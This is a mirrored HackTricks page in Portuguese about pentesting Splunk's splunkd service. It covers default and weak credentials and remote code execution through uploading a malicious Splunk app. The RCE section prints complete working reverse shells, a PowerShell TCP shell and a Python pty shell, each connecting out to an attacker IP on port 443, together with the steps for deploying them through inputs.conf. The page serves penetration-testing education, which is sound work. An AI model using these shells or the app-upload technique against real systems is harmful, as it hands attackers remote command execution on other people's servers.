mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
144 lines
6.6 KiB
Markdown
144 lines
6.6 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Informações Básicas**
|
|
|
|
* Ferramenta de análise de logs usada para coleta, análise e visualização de dados
|
|
* Comumente usada em monitoramento de segurança e análise de negócios
|
|
* Portas padrão:
|
|
* Servidor web: 8000
|
|
* Serviço Splunkd: 8089
|
|
|
|
### Vetores de Vulnerabilidade:
|
|
|
|
1. Exploração da Versão Gratuita
|
|
|
|
* A versão de teste se converte automaticamente em versão gratuita após 60 dias
|
|
* A versão gratuita não possui autenticação
|
|
* Potencial risco de segurança se não for gerenciada
|
|
* Administradores podem ignorar implicações de segurança
|
|
|
|
2. Fraquezas de Credenciais
|
|
|
|
* Versões mais antigas: Credenciais padrão `admin:changeme`
|
|
* Versões mais novas: Credenciais definidas durante a instalação
|
|
* Potencial para uso de senhas fracas (por exemplo, `admin`, `Welcome`, `Password123`)
|
|
|
|
3. Oportunidades de Execução Remota de Código
|
|
|
|
* Múltiplos métodos de execução de código:
|
|
* Aplicações Django do lado do servidor
|
|
* Endpoints REST
|
|
* Entradas scriptadas
|
|
* Scripts de alerta
|
|
* Suporte multiplataforma (Windows/Linux)
|
|
* Entradas scriptadas podem executar:
|
|
* Scripts Bash
|
|
* Scripts PowerShell
|
|
* Scripts em lote
|
|
|
|
Potencial de Exploração Chave:
|
|
|
|
* Armazenamento de dados sensíveis
|
|
* Falta de autenticação na versão gratuita
|
|
* Múltiplos vetores para potencial execução remota de código
|
|
* Possibilidade de aproveitar entradas scriptadas para comprometimento do sistema
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Criar Aplicação Personalizada
|
|
|
|
O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux.
|
|
|
|
Uma aplicação personalizada pode executar **scripts Python, Batch, Bash ou PowerShell**. Além disso, **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código python.
|
|
|
|
Você pode usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) exemplo com o **`bin`** contendo exemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou você pode criar o seu próprio.
|
|
|
|
O processo de exploração segue uma metodologia consistente entre plataformas:
|
|
```
|
|
splunk_shell/
|
|
├── bin (reverse shell scripts)
|
|
└── default (inputs.conf configuration)
|
|
```
|
|
O arquivo de configuração crítico `inputs.conf` ativa o script por:
|
|
|
|
* Definindo `disabled = 0`
|
|
* Configurando um intervalo de execução de 10 segundos
|
|
* Definindo o tipo de fonte do script
|
|
|
|
A implantação é simples:
|
|
|
|
1. Crie o pacote de aplicativo malicioso
|
|
2. Configure um listener (Netcat/socat) na máquina atacante
|
|
3. Faça o upload do aplicativo através da interface do Splunk
|
|
4. Acione a execução automática do script após o upload
|
|
|
|
Exemplo de shell reverso do Windows PowerShell:
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
|
$stream = $client.GetStream();
|
|
[byte[]]$bytes = 0..65535|%{0};
|
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
|
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
|
$sendback = (iex $data 2>&1 | Out-String );
|
|
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
|
$stream.Write($sendbyte,0,$sendbyte.Length);
|
|
$stream.Flush()
|
|
};
|
|
$client.Close()
|
|
```
|
|
Exemplo de shell reverso Python no Linux:
|
|
```python
|
|
import sys, socket, os, pty
|
|
ip = "10.10.14.15"
|
|
port = "443"
|
|
s = socket.socket()
|
|
s.connect((ip, int(port)))
|
|
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Escalação de Privilégios
|
|
|
|
Na página seguinte, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referências
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|